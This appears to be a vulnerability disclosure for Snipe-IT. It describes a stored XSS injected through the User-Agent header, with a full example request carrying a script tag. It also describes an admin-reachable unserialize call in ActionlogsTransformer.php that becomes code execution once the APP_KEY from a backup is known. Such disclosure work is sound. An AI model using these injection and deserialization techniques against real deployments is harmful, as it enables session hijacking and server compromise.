Security vulnerabilities in Snipe-IT

A stored Cross-Site-Scripting (XSS) vulnerability has been found in the User-Agent HTTP header field of an action log, which can be triggered by an administrator user by visiting the /reports/activity route.

Indeed, users can update their profile by performing a POST request on the /account/profile route. When doing so, such a user can update their name, first name, email address and other personal information. This information is logged in the database used by Snipe-IT as action logs, which can be reviewed by an administrator user when calling the /reports/activity route.

An update in a user’s profile will generate an action log, which will store the value of the User-Agent header that was used to perform the update request. However, the Snipe-IT web application does not sanitize the value of this header, leading to JavaScript injection. Below is an example of such a request, containing a malicious script tag in the User-Agent header:

POST /account/profile HTTP/1.1
Host: 192.168.56.6:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0<script>alert(1);</script>
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------1835082088987473178104522967
Cookie: XSRF-TOKEN=eyJpdiI6[...]IjoiIn0%3D; snipeit_session=4**************************************E; _csrf_token=OePtIgYLcOFNKdMkjQ9Jp1wJb93tKZFmL8B5kHba
Content-Length: 1223

-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="_token"

OePtIgYLcOFNKdMkjQ9Jp1wJb93tKZFmL8B5kHba
-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="first_name"

John-update
-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="last_name"

Doe
-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="locale"
[...]

When an administrator user, or a user that has explicit view permissions for reports, visits the /activity/reports URL and ticks the User-Agent checkbox, the XSS payload will be triggered, as shown on the screenshot below:

A call to the unserialize function in the Http/Transformers/ActionlogsTransformer.php file can allow an administrator user to perform code execution on the underlying server hosting the Snipe-IT instance.

Indeed, as an administrator, it is possible to generate a backup of the Snipe-IT instance. The generated ZIP will contain, as explained previously, various files including an SQL script used to stage the database upon a backup restore. By default, on a fresh Snipe-IT install, the value of the BACKUP_ENV environment variable is set to true. Therefore, the .env file will be included in the ZIP backup file. The .env file contains the APP_KEY environment variable, whose value is used to encrypt and decrypt data used by Laravel through the decryptString and encryptString functions.

The ActionlogsTransformer.php file is called when visiting the /reports/activity route, which performs an API call to /api/v1/reports/activity. This file is used to handle the formatting of the data that will be passed to the frontend. It first looks through all the actions logs stored in the action_logs table in the database, and if the log_meta field is set for the current action log, it will execute the following code:

foreach ($meta_array as $fieldname => $fieldata) {

    $clean_meta[$fieldname]['old'] = $this->clean_field($fieldata->old);
    $clean_meta[$fieldname]['new'] = $this->clean_field($fieldata->new);

    // this is a custom field
    if (str_starts_with($fieldname, '_snipeit_')) {
        foreach ($custom_fields as $custom_field) {
            if ($custom_field->db_column == $fieldname) {
                if ($custom_field->field_encrypted == '1') {

                    unset($clean_meta[$fieldname]);
                    unset($clean_meta[$fieldname]);

                    $enc_old = '';
                    $enc_new = '';

                    if ($this->clean_field($fieldata->old != '')) {
                        try {
                            $enc_old = Crypt::decryptString($this->clean_field($fieldata->old));
                        } catch (Exception $e) {
                            Log::debug('Could not decrypt old field value - maybe the key changed?');
                        }
                    }

                    if ($this->clean_field($fieldata->new != '')) {
                        try {
                            $enc_new = Crypt::decryptString($this->clean_field($fieldata->new));
                        } catch (Exception $e) {
                            Log::debug('Could not decrypt new field value - maybe the key changed?');
                        }
                    }

                    if ($enc_old != $enc_new) {
                        $clean_meta[$fieldname]['old'] = "************";
                        $clean_meta[$fieldname]['new'] = "************";

                        // Display the changes if the user is an admin or superadmin
                        if (Gate::allows('admin')) {
                            $clean_meta[$fieldname]['old'] = ($enc_old) ? unserialize($enc_old) : '';
                            $clean_meta[$fieldname]['new'] = ($enc_new) ? unserialize($enc_new) : '';
                        }
                    }
                }
            }
        }
    }
}

In database, an action log is built as follows:

$ mysql -u root
[...]
MariaDB [snipeit]> select * from action_logs\G;
[...]
*************************** 425. row ***************************
              id: 425
      created_by: 60
     action_type: update
       target_id: 60
     target_type: App\Models\User
     location_id: NULL
            note: NULL
        filename: NULL
       item_type: App\Models\User
         item_id: 60
expected_checkin: NULL
     accepted_id: NULL
      created_at: 2025-06-26 21:31:42
      updated_at: 2025-06-26 21:31:42
      deleted_at: NULL
       thread_id: NULL
      company_id: NULL
accept_signature: NULL
        log_meta: {"first_name":{"old":"ninja","new":"ninja-update"}}
     action_date: 2025-06-26 21:31:42
     stored_eula: NULL
   action_source: gui
       remote_ip: 192.168.56.1
      user_agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
425 rows in set (0.002 sec)

If the JSON data contained within the current log_meta field holds a key starting with the _snipeit_ prefix, and its value corresponds to a custom field defined in the database, the value of the new key in the JSON data will be decrypted. Upon successful decryption, and as long as the values of the new and old keys differ from each other, the decrypted value will be passed to the unserialize function. For example, the new key in the following log_meta field would trigger its value to be deserialized:

$ mysql -u root
[...]
MariaDB [snipeit]> select * from action_logs\G;
*************************** 422. row ***************************
[...]
        log_meta: {"_snipeit_customfieldrce_99":{"old":"nonrelevantinformation","new":"eyJpdiI6IldGO[...]FnIjoiIn0="}}
[...]

It is to be noted that the referenced field needs to have the flag encrypted set to true for the deserialization to work.